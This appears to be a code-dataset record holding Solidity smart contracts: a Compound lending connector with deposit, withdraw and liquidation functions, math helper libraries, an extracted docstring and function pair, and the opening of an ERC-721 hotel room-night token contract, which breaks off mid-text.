_eventParam) { (address token, address cToken) = compMapping.getMapping(tokenId); (_eventName, _eventParam) = depositCTokenRaw(token, cToken, amt, getId, setId); } /** * @dev Withdraw CETH/CERC20_Token using cToken Amt. * @notice Same as withdrawRaw. The only difference is this method fetch cToken amount in get ID. * @param token The address of the token to withdraw. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param cToken The address of the corresponding cToken. * @param cTokenAmt The amount of cTokens to withdraw * @param getId ID to retrieve cTokenAmt * @param setId ID stores the amount of tokens withdrawn. */ function withdrawCTokenRaw( address token, address cToken, uint cTokenAmt, uint getId, uint setId ) public payable returns (string memory _eventName, bytes memory _eventParam) { uint _cAmt = getUint(getId, cTokenAmt); require(token != address(0) && cToken != address(0), "invalid token/ctoken address"); CTokenInterface cTokenContract = CTokenInterface(cToken); TokenInterface tokenContract = TokenInterface(token); _cAmt = _cAmt == uint(-1) ? cTokenContract.balanceOf(address(this)) : _cAmt; uint withdrawAmt; { uint initialBal = token != ethAddr ? tokenContract.balanceOf(address(this)) : address(this).balance; require(cTokenContract.redeem(_cAmt) == 0, "redeem-failed"); uint finalBal = token != ethAddr ? tokenContract.balanceOf(address(this)) : address(this).balance; withdrawAmt = sub(finalBal, initialBal); } setUint(setId, withdrawAmt); _eventName = "LogWithdrawCToken(address,address,uint256,uint256,uint256,uint256)"; _eventParam = abi.encode(token, cToken, withdrawAmt, _cAmt, getId, setId); } /** * @dev Withdraw CETH/CERC20_Token using cToken Amt & the Mapping. * @notice Same as withdraw. The only difference is this method fetch cToken amount in get ID. * @param tokenId The token id of the token to withdraw CToken.(For eg: ETH-A) * @param cTokenAmt The amount of cTokens to withdraw * @param getId ID to retrieve cTokenAmt * @param setId ID stores the amount of tokens withdrawn. */ function withdrawCToken( string calldata tokenId, uint cTokenAmt, uint getId, uint setId ) external payable returns (string memory _eventName, bytes memory _eventParam) { (address token, address cToken) = compMapping.getMapping(tokenId); (_eventName, _eventParam) = withdrawCTokenRaw(token, cToken, cTokenAmt, getId, setId); } /** * @dev Liquidate a position. * @notice Liquidate a position. * @param borrower Borrower's Address. * @param tokenToPay The address of the token to pay for liquidation.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param cTokenPay Corresponding cToken address. * @param tokenInReturn The address of the token to return for liquidation. * @param cTokenColl Corresponding cToken address. * @param amt The token amount to pay for liquidation. * @param getId ID to retrieve amt. * @param setId ID stores the amount of paid for liquidation. */ function liquidateRaw( address borrower, address tokenToPay, address cTokenPay, address tokenInReturn, address cTokenColl, uint256 amt, uint256 getId, uint256 setId ) public payable returns (string memory _eventName, bytes memory _eventParam) { uint _amt = getUint(getId, amt); require(tokenToPay != address(0) && cTokenPay != address(0), "invalid token/ctoken address"); require(tokenInReturn != address(0) && cTokenColl != address(0), "invalid token/ctoken address"); CTokenInterface cTokenContract = CTokenInterface(cTokenPay); { (,, uint shortfal) = troller.getAccountLiquidity(borrower); require(shortfal != 0, "account-cannot-be-liquidated"); _amt = _amt == uint(-1) ? cTokenContract.borrowBalanceCurrent(borrower) : _amt; } if (tokenToPay == ethAddr) { require(address(this).balance >= _amt, "not-enought-eth"); CETHInterface(cTokenPay).liquidateBorrow{value: _amt}(borrower, cTokenColl); } else { TokenInterface tokenContract = TokenInterface(tokenToPay); require(tokenContract.balanceOf(address(this)) >= _amt, "not-enough-token"); approve(tokenContract, cTokenPay, _amt); require(cTokenContract.liquidateBorrow(borrower, _amt, cTokenColl) == 0, "liquidate-failed"); } setUint(setId, _amt); _eventName = "LogLiquidate(address,address,address,uint256,uint256,uint256)"; _eventParam = abi.encode( address(this), tokenToPay, tokenInReturn, _amt, getId, setId ); } /** * @dev Liquidate a position using the mapping. * @notice Liquidate a position using the mapping. * @param borrower Borrower's Address. * @param tokenIdToPay token id of the token to pay for liquidation.(For eg: ETH-A) * @param tokenIdInReturn token id of the token to return for liquidation.(For eg: USDC-A) * @param amt token amount to pay for liquidation. * @param getId ID to retrieve amt. * @param setId ID stores the amount of paid for liquidation. */ function liquidate( address borrower, string calldata tokenIdToPay, string calldata tokenIdInReturn, uint256 amt, uint256 getId, uint256 setId ) external payable returns (string memory _eventName, bytes memory _eventParam) { (address tokenToPay, address cTokenToPay) = compMapping.getMapping(tokenIdToPay); (address tokenInReturn, address cTokenColl) = compMapping.getMapping(tokenIdInReturn); (_eventName, _eventParam) = liquidateRaw( borrower, tokenToPay, cTokenToPay, tokenInReturn, cTokenColl, amt, getId, setId ); } } contract ConnectV2Compound is CompoundResolver { string public name = "Compound-v1.1"; } pragma solidity ^0.7.0; interface TokenInterface { function approve(address, uint256) external; function transfer(address, uint) external; function transferFrom(address, address, uint) external; function deposit() external payable; function withdraw(uint) external; function balanceOf(address) external view returns (uint); function decimals() external view returns (uint); } interface MemoryInterface { function getUint(uint id) external returns (uint num); function setUint(uint id, uint val) external; } interface InstaMapping { function cTokenMapping(address) external view returns (address); function gemJoinMapping(bytes32) external view returns (address); } interface AccountInterface { function enable(address) external; function disable(address) external; function isAuth(address) external view returns (bool); } pragma solidity ^0.7.0; import { MemoryInterface, InstaMapping } from "./interfaces.sol"; abstract contract Stores { /** * @dev Return ethereum address */ address constant internal ethAddr = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /** * @dev Return Wrapped ETH address */ address constant internal wethAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; /** * @dev Return memory variable address */ MemoryInterface constant internal instaMemory = MemoryInterface(0x8a5419CfC711B2343c17a6ABf4B2bAFaBb06957F); /** * @dev Return InstaDApp Mapping Addresses */ InstaMapping constant internal instaMapping = InstaMapping(0xe81F70Cc7C0D46e12d70efc60607F16bbD617E88); /** * @dev Get Uint value from InstaMemory Contract. */ function getUint(uint getId, uint val) internal returns (uint returnVal) { returnVal = getId == 0 ? val : instaMemory.getUint(getId); } /** * @dev Set Uint value in InstaMemory Contract. */ function setUint(uint setId, uint val) virtual internal { if (setId != 0) instaMemory.setUint(setId, val); } } pragma solidity ^0.7.0; import { DSMath } from "../../common/math.sol"; import { Basic } from "../../common/basic.sol"; import { ComptrollerInterface, CompoundMappingInterface } from "./interface.sol"; abstract contract Helpers is DSMath, Basic { /** * @dev Compound Comptroller */ ComptrollerInterface internal constant troller = ComptrollerInterface(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B); /** * @dev Compound Mapping */ CompoundMappingInterface internal constant compMapping = CompoundMappingInterface(0xA8F9D4aA7319C54C04404765117ddBf9448E2082); /** * @dev enter compound market */ function enterMarket(address cToken) internal { address[] memory markets = troller.getAssetsIn(address(this)); bool isEntered = false; for (uint i = 0; i < markets.length; i++) { if (markets[i] == cToken) { isEntered = true; } } if (!isEntered) { address[] memory toEnter = new address[](1); toEnter[0] = cToken; troller.enterMarkets(toEnter); } } } pragma solidity ^0.7.0; contract Events { event LogDeposit( address indexed token, address cToken, uint256 tokenAmt, uint256 getId, uint256 setId ); event LogWithdraw( address indexed token, address cToken, uint256 tokenAmt, uint256 getId, uint256 setId ); event LogBorrow( address indexed token, address cToken, uint256 tokenAmt, uint256 getId, uint256 setId ); event LogPayback( address indexed token, address cToken, uint256 tokenAmt, uint256 getId, uint256 setId ); event LogDepositCToken( address indexed token, address cToken, uint256 tokenAmt, uint256 cTokenAmt, uint256 getId, uint256 setId ); event LogWithdrawCToken( address indexed token, address cToken, uint256 tokenAmt, uint256 cTokenAmt, uint256 getId, uint256 setId ); event LogLiquidate( address indexed borrower, address indexed tokenToPay, address indexed tokenInReturn, uint256 tokenAmt, uint256 getId, uint256 setId ); } pragma solidity ^0.7.0; interface CTokenInterface { function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); // For ERC20 function liquidateBorrow(address borrower, uint repayAmount, address cTokenCollateral) external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function exchangeRateCurrent() external returns (uint); function balanceOf(address owner) external view returns (uint256 balance); } interface CETHInterface { function mint() external payable; function repayBorrow() external payable; function repayBorrowBehalf(address borrower) external payable; function liquidateBorrow(address borrower, address cTokenCollateral) external payable; } interface ComptrollerInterface { function enterMarkets(address[] calldata cTokens) external returns (uint[] memory); function exitMarket(address cTokenAddress) external returns (uint); function getAssetsIn(address account) external view returns (address[] memory); function getAccountLiquidity(address account) external view returns (uint, uint, uint); function claimComp(address) external; } interface CompoundMappingInterface { function cTokenMapping(string calldata tokenId) external view returns (address); function getMapping(string calldata tokenId) external view returns (address, address); } pragma solidity ^0.7.0; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; contract DSMath { uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function add(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(x, y); } function sub(uint x, uint y) internal virtual pure returns (uint z) { z = SafeMath.sub(x, y); } function mul(uint x, uint y) internal pure returns (uint z) { z = SafeMath.mul(x, y); } function div(uint x, uint y) internal pure returns (uint z) { z = SafeMath.div(x, y); } function wmul(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(SafeMath.mul(x, y), WAD / 2) / WAD; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(SafeMath.mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(SafeMath.mul(x, RAY), y / 2) / y; } function rmul(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(SafeMath.mul(x, y), RAY / 2) / RAY; } function toInt(uint x) internal pure returns (int y) { y = int(x); require(y >= 0, "int-overflow"); } function toRad(uint wad) internal pure returns (uint rad) { rad = mul(wad, 10 ** 27); } } pragma solidity ^0.7.0; import { TokenInterface } from "./interfaces.sol"; import { Stores } from "./stores.sol"; import { DSMath } from "./math.sol"; abstract contract Basic is DSMath, Stores { function convert18ToDec(uint _dec, uint256 _amt) internal pure returns (uint256 amt) { amt = (_amt / 10 ** (18 - _dec)); } function convertTo18(uint _dec, uint256 _amt) internal pure returns (uint256 amt) { amt = mul(_amt, 10 ** (18 - _dec)); } function getTokenBal(TokenInterface token) internal view returns(uint _amt) { _amt = address(token) == ethAddr ? address(this).balance : token.balanceOf(address(this)); } function getTokensDec(TokenInterface buyAddr, TokenInterface sellAddr) internal view returns(uint buyDec, uint sellDec) { buyDec = address(buyAddr) == ethAddr ? 18 : buyAddr.decimals(); sellDec = address(sellAddr) == ethAddr ? 18 : sellAddr.decimals(); } function encodeEvent(string memory eventName, bytes memory eventParam) internal pure returns (bytes memory) { return abi.encode(eventName, eventParam); } function approve(TokenInterface token, address spender, uint256 amount) internal { try token.approve(spender, amount) { } catch { token.approve(spender, 0); token.approve(spender, amount); } } function changeEthAddress(address buy, address sell) internal pure returns(TokenInterface _buy, TokenInterface _sell){ _buy = buy == ethAddr ? TokenInterface(wethAddr) : TokenInterface(buy); _sell = sell == ethAddr ? TokenInterface(wethAddr) : TokenInterface(sell); } function convertEthToWeth(bool isEth, TokenInterface token, uint amount) internal { if(isEth) token.deposit{value: amount}(); } function convertWethToEth(bool isEth, TokenInterface token, uint amount) internal { if(isEth) { approve(token, address(token), amount); token.withdraw(amount); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } }
Deposit ETH/ERC20_Token using the Mapping. Same as deposit. The only difference is this method stores cToken amount in set ID. tokenId The token id of the token to depositCToken.(For eg: DAI-A) amt The amount of the token to deposit. (For max: `uint256(-1)`) getId ID to retrieve amt. setId ID stores the amount of cTokens received./
function depositCToken( string calldata tokenId, uint256 amt, uint256 getId, uint256 setId ) external payable returns (string memory _eventName, bytes memory _eventParam) { (address token, address cToken) = compMapping.getMapping(tokenId); (_eventName, _eventParam) = depositCTokenRaw(token, cToken, amt, getId, setId); }
5,739,451
pragma solidity ^0.4.24; interface ERC165 { /// @notice Query if a contract implements an interface /// @param interfaceID The interface identifier, as specified in ERC-165 /// @dev Interface identification is specified in ERC-165. This function /// uses less than 30,000 gas. /// @return `true` if the contract implements `interfaceID` and /// `interfaceID` is not 0xffffffff, `false` otherwise function supportsInterface(bytes4 interfaceID) external view returns (bool); } /// @title ERC-721 Non-Fungible Token Standard, optional metadata extension /// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md /// Note: the ERC-165 identifier for this interface is 0x5b5e139f interface ERC721Metadata /* is ERC721 */ { /// @notice A descriptive name for a collection of NFTs in this contract function name() external pure returns (string _name); /// @notice An abbreviated name for NFTs in this contract function symbol() external pure returns (string _symbol); /// @notice A distinct Uniform Resource Identifier (URI) for a given asset. /// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC /// 3986. The URI may point to a JSON file that conforms to the "ERC721 /// Metadata JSON Schema". function tokenURI(uint256 _tokenId) external view returns (string); } /// @title ERC-721 Non-Fungible Token Standard /// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md /// Note: the ERC-165 identifier for this interface is 0x80ac58cd interface ERC721 /* is ERC165 */ { /// @dev This emits when ownership of any NFT changes by any mechanism. /// This event emits when NFTs are created (`from` == 0) and destroyed /// (`to` == 0). Exception: during contract creation, any number of NFTs /// may be created and assigned without emitting Transfer. At the time of /// any transfer, the approved address for that NFT (if any) is reset to none. event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); /// @dev This emits when the approved address for an NFT is changed or /// reaffirmed. The zero address indicates there is no approved address. /// When a Transfer event emits, this also indicates that the approved /// address for that NFT (if any) is reset to none. event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); /// @dev This emits when an operator is enabled or disabled for an owner. /// The operator can manage all NFTs of the owner. event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /// @notice Count all NFTs assigned to an owner /// @dev NFTs assigned to the zero address are considered invalid, and this /// function throws for queries about the zero address. /// @param _owner An address for whom to query the balance /// @return The number of NFTs owned by `_owner`, possibly zero function balanceOf(address _owner) external view returns (uint256); /// @notice Find the owner of an NFT /// @dev NFTs assigned to zero address are considered invalid, and queries /// about them do throw. /// @param _tokenId The identifier for an NFT /// @return The address of the owner of the NFT function ownerOf(uint256 _tokenId) external view returns (address); /// @notice Transfers the ownership of an NFT from one address to another address /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. When transfer is complete, this function /// checks if `_to` is a smart contract (code size > 0). If so, it calls /// `onERC721Received` on `_to` and throws if the return value is not /// `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer /// @param data Additional data with no specified format, sent in call to `_to` function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable; /// @notice Transfers the ownership of an NFT from one address to another address /// @dev This works identically to the other function with an extra data parameter, /// except this function just sets data to "" /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable; /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE /// THEY MAY BE PERMANENTLY LOST /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function transferFrom(address _from, address _to, uint256 _tokenId) external payable; /// @notice Set or reaffirm the approved address for an NFT /// @dev The zero address indicates there is no approved address. /// @dev Throws unless `msg.sender` is the current NFT owner, or an authorized /// operator of the current owner. /// @param _approved The new approved NFT controller /// @param _tokenId The NFT to approve function approve(address _approved, uint256 _tokenId) external payable; /// @notice Enable or disable approval for a third party ("operator") to manage /// all of `msg.sender`'s assets. /// @dev Emits the ApprovalForAll event. The contract MUST allow /// multiple operators per owner. /// @param _operator Address to add to the set of authorized operators. /// @param _approved True if the operator is approved, false to revoke approval function setApprovalForAll(address _operator, bool _approved) external; /// @notice Get the approved address for a single NFT /// @dev Throws if `_tokenId` is not a valid NFT /// @param _tokenId The NFT to find the approved address for /// @return The approved address for this NFT, or the zero address if there is none function getApproved(uint256 _tokenId) external view returns (address); /// @notice Query if an address is an authorized operator for another address /// @param _owner The address that owns the NFTs /// @param _operator The address that acts on behalf of the owner /// @return True if `_operator` is an approved operator for `_owner`, false otherwise function isApprovedForAll(address _owner, address _operator) external view returns (bool); } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract ERC721Receiver { /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safetransfer`. This function MAY throw to revert and reject the * transfer. This function MUST use 50,000 gas or less. Return of other * than the magic value MUST result in the transaction being reverted. * Note: the contract address is always the message sender. * @param _from The sending address * @param _tokenId The NFT identifier which is being transfered * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))` */ function onERC721Received(address _from, uint256 _tokenId, bytes _data) external returns(bytes4); } /** * Owned contract */ contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed from, address indexed to); /** * Constructor */ constructor() public { owner = msg.sender; } /** * @dev Only the owner of contract */ modifier onlyOwner { require(msg.sender == owner); _; } /** * @dev transfer the ownership to other * - Only the owner can operate */ function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } /** * @dev Accept the ownership from last owner */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TRNData is Owned { TripioRoomNightData dataSource; /** * Only the valid vendor and the vendor is valid */ modifier onlyVendor { uint256 vendorId = dataSource.vendorIds(msg.sender); require(vendorId > 0); (,,,bool valid) = dataSource.getVendor(vendorId); require(valid); _; } /** * The vendor is valid */ modifier vendorValid(address _vendor) { uint256 vendorId = dataSource.vendorIds(_vendor); require(vendorId > 0); (,,,bool valid) = dataSource.getVendor(vendorId); require(valid); _; } /** * The vendorId is valid */ modifier vendorIdValid(uint256 _vendorId) { (,,,bool valid) = dataSource.getVendor(_vendorId); require(valid); _; } /** * Rate plan exist. */ modifier ratePlanExist(uint256 _vendorId, uint256 _rpid) { (,,,bool valid) = dataSource.getVendor(_vendorId); require(valid); require(dataSource.ratePlanIsExist(_vendorId, _rpid)); _; } /** * Token is valid */ modifier validToken(uint256 _tokenId) { require(_tokenId > 0); require(dataSource.roomNightIndexToOwner(_tokenId) != address(0)); _; } /** * Tokens are valid */ modifier validTokenInBatch(uint256[] _tokenIds) { for(uint256 i = 0; i < _tokenIds.length; i++) { require(_tokenIds[i] > 0); require(dataSource.roomNightIndexToOwner(_tokenIds[i]) != address(0)); } _; } /** * Whether the `_tokenId` can be transfered */ modifier canTransfer(uint256 _tokenId) { address owner = dataSource.roomNightIndexToOwner(_tokenId); bool isOwner = (msg.sender == owner); bool isApproval = (msg.sender == dataSource.roomNightApprovals(_tokenId)); bool isOperator = (dataSource.operatorApprovals(owner, msg.sender)); require(isOwner || isApproval || isOperator); _; } /** * Whether the `_tokenIds` can be transfered */ modifier canTransferInBatch(uint256[] _tokenIds) { for(uint256 i = 0; i < _tokenIds.length; i++) { address owner = dataSource.roomNightIndexToOwner(_tokenIds[i]); bool isOwner = (msg.sender == owner); bool isApproval = (msg.sender == dataSource.roomNightApprovals(_tokenIds[i])); bool isOperator = (dataSource.operatorApprovals(owner, msg.sender)); require(isOwner || isApproval || isOperator); } _; } /** * Whether the `_tokenId` can be operated by `msg.sender` */ modifier canOperate(uint256 _tokenId) { address owner = dataSource.roomNightIndexToOwner(_tokenId); bool isOwner = (msg.sender == owner); bool isOperator = (dataSource.operatorApprovals(owner, msg.sender)); require(isOwner || isOperator); _; } /** * Whether the `_date` is valid(no hours, no seconds) */ modifier validDate(uint256 _date) { require(_date > 0); require(dateIsLegal(_date)); _; } /** * Whether the `_dates` are valid(no hours, no seconds) */ modifier validDates(uint256[] _dates) { for(uint256 i = 0;i < _dates.length; i++) { require(_dates[i] > 0); require(dateIsLegal(_dates[i])); } _; } function dateIsLegal(uint256 _date) pure private returns(bool) { uint256 year = _date / 10000; uint256 mon = _date / 100 - year * 100; uint256 day = _date - mon * 100 - year * 10000; if(year < 1970 || mon <= 0 || mon > 12 || day <= 0 || day > 31) return false; if(4 == mon || 6 == mon || 9 == mon || 11 == mon){ if (day == 31) { return false; } } if(((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0)) { if(2 == mon && day > 29) { return false; } }else { if(2 == mon && day > 28){ return false; } } return true; } /** * Constructor */ constructor() public { } } contract TRNOwners is TRNData { /** * Constructor */ constructor() public { } /** * Add room night token to `_owner`'s account(from the header) */ function _pushRoomNight(address _owner, uint256 _rnid, bool _isVendor) internal { require(_owner != address(0)); require(_rnid != 0); if (_isVendor) { dataSource.pushOrderOfVendor(_owner, _rnid, false); } else { dataSource.pushOrderOfOwner(_owner, _rnid, false); } } /** * Remove room night token from `_owner`'s account */ function _removeRoomNight(address _owner, uint256 _rnid) internal { dataSource.removeOrderOfOwner(_owner, _rnid); } /** * @dev Returns all the room nights of the `msg.sender`(Customer) * @param _from The begin of room nights Id * @param _limit The total room nights * @param _isVendor Is Vendor * @return Room nights of the `msg.sender` and the next vernier */ function roomNightsOfOwner(uint256 _from, uint256 _limit, bool _isVendor) external view returns(uint256[], uint256) { if(_isVendor) { return dataSource.getOrdersOfVendor(msg.sender, _from, _limit, true); }else { return dataSource.getOrdersOfOwner(msg.sender, _from, _limit, true); } } /** * @dev Returns the room night infomation in detail * @param _rnid Room night id * @return Room night infomation in detail */ function roomNight(uint256 _rnid) external view returns(uint256 _vendorId,uint256 _rpid,uint256 _token,uint256 _price,uint256 _timestamp,uint256 _date,bytes32 _ipfs, string _name) { (_vendorId, _rpid, _token, _price, _timestamp, _date, _ipfs) = dataSource.roomnights(_rnid); (_name,,) = dataSource.getRatePlan(_vendorId, _rpid); } } library IPFSLib { bytes constant ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; bytes constant HEX = "0123456789abcdef"; /** * @dev Base58 encoding * @param _source Bytes data * @return Encoded bytes data */ function base58Address(bytes _source) internal pure returns (bytes) { uint8[] memory digits = new uint8[](_source.length * 136/100 + 1); digits[0] = 0; uint8 digitlength = 1; for (uint i = 0; i < _source.length; ++i) { uint carry = uint8(_source[i]); for (uint j = 0; j<digitlength; ++j) { carry += uint(digits[j]) * 256; digits[j] = uint8(carry % 58); carry = carry / 58; } while (carry > 0) { digits[digitlength] = uint8(carry % 58); digitlength++; carry = carry / 58; } } return toAlphabet(reverse(truncate(digits, digitlength))); } /** * @dev Hex encoding, convert bytes32 data to hex string * @param _source Bytes32 data * @return hex string bytes */ function hexAddress(bytes32 _source) internal pure returns(bytes) { uint256 value = uint256(_source); bytes memory result = "0000000000000000000000000000000000000000000000000000000000000000"; uint8 index = 0; while(value > 0) { result[index] = HEX[value & 0xf]; index++; value = value>>4; } bytes memory ipfsBytes = reverseBytes(result); return ipfsBytes; } /** * @dev Truncate `_array` by `_length` * @param _array The source array * @param _length The target length of the `_array` * @return The truncated array */ function truncate(uint8[] _array, uint8 _length) internal pure returns (uint8[]) { uint8[] memory output = new uint8[](_length); for (uint i = 0; i < _length; i++) { output[i] = _array[i]; } return output; } /** * @dev Reverse `_input` array * @param _input The source array * @return The reversed array */ function reverse(uint8[] _input) internal pure returns (uint8[]) { uint8[] memory output = new uint8[](_input.length); for (uint i = 0; i < _input.length; i++) { output[i] = _input[_input.length - 1 - i]; } return output; } /** * @dev Reverse `_input` bytes * @param _input The source bytes * @return The reversed bytes */ function reverseBytes(bytes _input) private pure returns (bytes) { bytes memory output = new bytes(_input.length); for (uint8 i = 0; i < _input.length; i++) { output[i] = _input[_input.length-1-i]; } return output; } /** * @dev Convert the indices to alphabet * @param _indices The indices of alphabet * @return The alphabets */ function toAlphabet(uint8[] _indices) internal pure returns (bytes) { bytes memory output = new bytes(_indices.length); for (uint i = 0; i < _indices.length; i++) { output[i] = ALPHABET[_indices[i]]; } return output; } /** * @dev Convert bytes32 to bytes * @param _input The source bytes32 * @return The bytes */ function toBytes(bytes32 _input) internal pure returns (bytes) { bytes memory output = new bytes(32); for (uint8 i = 0; i < 32; i++) { output[i] = _input[i]; } return output; } /** * @dev Concat two bytes to one * @param _byteArray The first bytes * @param _byteArray2 The second bytes * @return The concated bytes */ function concat(bytes _byteArray, bytes _byteArray2) internal pure returns (bytes) { bytes memory returnArray = new bytes(_byteArray.length + _byteArray2.length); for (uint16 i = 0; i < _byteArray.length; i++) { returnArray[i] = _byteArray[i]; } for (i; i < (_byteArray.length + _byteArray2.length); i++) { returnArray[i] = _byteArray2[i - _byteArray.length]; } return returnArray; } } contract 